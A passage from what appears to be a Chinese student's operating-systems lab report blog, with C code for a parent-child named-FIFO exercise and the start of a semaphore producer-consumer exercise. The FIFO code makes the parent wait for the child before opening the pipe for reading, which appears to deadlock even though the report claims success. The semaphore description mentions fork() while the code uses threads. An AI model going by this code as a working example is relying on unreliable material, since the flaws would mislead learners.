class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FIFO_NAME \u003cspan class=\"string\"\u003e\u0026#34;/tmp/my_fifo\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Fork failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_WRONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d opening FIFO O_WRONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(res, \u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_RDONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// wait for child to finish\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e waitpid(pid, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process started.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d opening FIFO O_RDONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(res, buffer, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d read %s\\n\u0026#34;\u003c/span\u003e, getpid(), buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-4\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523165148.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,子进程成功向命名匿名管道写入数据,并被父进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-4\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下命名匿名管道的原理和用法,知道了如何使用系统调用来创建和操作命名匿名管道,在父子进程之间进行单向通信。同时,我也了解了如何使用文件操作函数来读写命名匿名管道\u003c/p\u003e\u003ch2 id=\"实验6:信号量实现进程同步\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C6%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%AE%9E%E7%8E%B0%E8%BF%9B%E7%A8%8B%E5%90%8C%E6%AD%A5\" class=\"headerlink\" title=\"实验6:信号量实现进程同步\"\u003e\u003c/a\u003e实验6:信号量实现进程同步\u003c/h2\u003e\u003ch3 id=\"一、实验目标-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-5\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号量的原理和用法\u003c/li\u003e\u003cli\u003e使用信号量实现生产者消费者问题的进程同步\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-5\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esemaphore.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ebuffer\u003c/code\u003e作为缓冲区,并初始化为0。随后在主程序中创建两个信号量\u003ccode\u003eempty\u003c/code\u003e和\u003ccode\u003efull\u003c/code\u003e,分别表示空缓冲区的数量和满缓冲区的数量,并初始化为8和0。然后使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程作为消费者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003efull\u003c/code\u003e信号量,表示有产品可消费;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟消费时间;将缓冲区的值减一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003eempty\u003c/code\u003e信号量,表示释放一个空缓冲区。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程作为生产者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003eempty\u003c/code\u003e信号量,表示有空缓冲区可用;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟生产时间;将缓冲区的值加一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003efull\u003c/code\u003e信号量,表示增加一个满缓冲区。\u003c/p\u003e\u003ch3 id=\"三、实验代码-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-5\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;semaphore.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SIZE 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[SIZE], index=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esem_t\u003c/span\u003e items, space;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003epthread_mutex_t\u003c/span\u003e mutex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003eproduce\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//c = getchar();\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e + rand()%\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[producer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buffer[index++] = c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003econsume\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = buffer[--index];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[consumer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint_buffer\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;index; i++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, buffer[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan 